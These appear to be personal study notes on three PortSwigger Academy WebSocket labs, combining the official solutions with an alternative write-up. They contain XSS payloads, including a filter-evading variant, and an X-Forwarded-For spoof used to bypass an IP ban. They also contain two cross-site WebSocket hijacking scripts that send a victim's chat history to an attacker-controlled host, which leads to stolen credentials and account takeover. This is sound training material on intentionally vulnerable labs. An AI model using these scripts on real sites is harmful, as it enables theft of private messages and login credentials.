Portswigger WebSocket Lab Notes

1. Manipulating WebSocket messages to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets.

Chat messages that you submit are viewed by a support agent in real time.

To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent's browser.

 Solution

1. Click "Live chat" and send a chat message.
2. In Burp Proxy, go to the WebSockets history tab, and observe that the chat message has been sent via a WebSocket message.
3. Using the browser, send a new message containing a < character.
4. In Burp Proxy, find the corresponding WebSocket message and observe that the < has been HTML-encoded by the client before sending.
5. Ensure that Burp Proxy is configured to intercept WebSocket messages, then send another chat message.
6. Edit the intercepted message to contain the following payload:

***<img src=1 onerror='alert(1)'>***

1. Observe that an alert is triggered in the browser. This will also happen in the support agent's browser.

2.Cross-site WebSocket hijacking

This online shop has a live chat feature implemented using WebSockets.

To solve the lab, use the exploit server to host an HTML/JavaScript payload that uses a [cross-site WebSocket hijacking attack](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) to exfiltrate the victim's chat history, then use this gain access to their account.

**Note**

To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server.

 Solution

1. Click "Live chat" and send a chat message.
2. Reload the page.
3. In Burp Proxy, in the WebSockets history tab, observe that the "READY" command retrieves past chat messages from the server.
4. In Burp Proxy, in the HTTP history tab, find the WebSocket handshake request. Observe that the request has no CSRF tokens.
5. Right-click on the handshake request and select "Copy URL".
6. In the browser, go to the exploit server and paste the following template into the "Body" section:

***<script>***

***var ws = new WebSocket('wss://your-websocket-url');***

***ws.onopen = function() {***

***ws.send("READY");***

***};***

***ws.onmessage = function(event) {***

***fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});***

***};***

***</script>***

1. Replace your-websocket-url with the URL from the WebSocket handshake (YOUR-LAB-ID.web-security-academy.net/chat). Make sure you change the protocol from https:// to wss://. Replace your-collaborator-url with a payload generated by [Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator).
2. Click "View exploit".
3. Poll for interactions in the Collaborator tab. Verify that the attack has successfully retrieved your chat history and exfiltrated it via Burp Collaborator. For every message in the chat, Burp Collaborator has received an HTTP request. The request body contains the full contents of the chat message in JSON format. Note that these messages may not be received in the correct order.
4. Go back to the exploit server and deliver the exploit to the victim.
5. Poll for interactions in the Collaborator tab again. Observe that you've received more HTTP interactions containing the victim's chat history. Examine the messages and notice that one of them contains the victim's username and password.
6. Use the exfiltrated credentials to log in to the victim user's account.

**Effect**

* Victim visits attacker’s exploit → their browser opens a WebSocket to /chat.
* Victim’s session cookie goes with it → server returns chat history.
* The script sends every message to Burp Collaborator.
* In those messages → find victim’s **username & password**.
* Use creds to log in. ✅

2. Alternative Solution: Cross-Site WebSocket Hijacking (CSWSH)

**1. Initial Observations**

* The lab’s **live chat** app stores chat history in a **WebSocket** connection.
* Even when not logged in, refreshing shows the full chat history because:
  + A **session cookie** identifies the user.
  + The cookie’s SameSite=None, so it’s sent in cross-site requests.
* Sending a "READY" message over the WebSocket makes the server return the **entire chat history**.
* No CSRF tokens are used on the /chat endpoint → vulnerable to cross-site hijacking.

A screenshot of a computer

AI-generated content may be incorrect.

1. **Attack Plan**

A screenshot of a computer

AI-generated content may be incorrect.

* Create a **malicious exploit page**:
  1. Opens a WebSocket connection to /chat.
  2. Sends "READY".
  3. Reads all messages returned.
  4. Forwards each message to the attacker (exploit server) using fetch() GET requests.
* When the victim visits this page:
  1. Their **session cookie** is included.
  2. Server sends their chat history back.
  3. Exploit forwards it to attacker.

**3. Building the Exploit**

* HTML/JS payload:

***<script>***

***var ws = new WebSocket("wss://LAB-ID.web-security-academy.net/chat");***

***ws.onopen = function() {***

***ws.send("READY");***

***};***

***ws.onmessage = function(event) {***

***fetch("https://EXPLOIT-SERVER-ID.exploit-server.net/?message="***

***+ btoa(event.data));***

***};***

***</script>***

A screenshot of a computer

AI-generated content may be incorrect.

* Upload this to the exploit server and deliver to the victim.

A screenshot of a computer

AI-generated content may be incorrect.

**4. Exfiltration**

* Victim visits → their chat history is **exfiltrated** in Base64-encoded GET requests.
* In exploit server **access logs**, attacker sees the encoded chat messages.
* Decode them (e.g., using Burp Decoder) to reveal plaintext messages.

A screenshot of a computer

AI-generated content may be incorrect.

**5. Capturing Credentials**

* Chat log shows:
  + Victim says they forgot password.
  + Bot responds with **username and password**.
* Attacker uses these credentials to log in as victim.

**✅ End Result**

* Successfully hijacked the victim’s account by abusing **WebSocket hijacking** and exfiltrating chat history.

1. Manipulating the WebSocket handshake to exploit vulnerabilities

This online shop has a live chat feature implemented using WebSockets.

It has an aggressive but flawed XSS filter.

To solve the lab, use a WebSocket message to trigger an alert() popup in the support agent's browser.

**Hint**

* If you're struggling to bypass the XSS filter, try out our [XSS labs](https://portswigger.net/web-security/cross-site-scripting).
* Sometimes you can bypass IP-based restrictions using HTTP headers like X-Forwarded-For.

**Solution**

1. Click "Live chat" and send a chat message.
2. In Burp Proxy, go to the WebSockets history tab, and observe that the chat message has been sent via a WebSocket message.
3. Right-click on the message and select "Send to Repeater".
4. Edit and resend the message containing a basic XSS payload, such as:

***<img src=1 onerror='alert(1)'>***

1. Observe that the attack has been blocked, and that your WebSocket connection has been terminated.
2. Click "Reconnect", and observe that the connection attempt fails because your IP address has been banned.
3. Add the following header to the handshake request to spoof your IP address:

***X-Forwarded-For: 1.1.1.1***

1. Click "Connect" to successfully reconnect the WebSocket.
2. Send a WebSocket message containing an obfuscated XSS payload, such as:

***<img src=1 oNeRrOr=alert`1`>***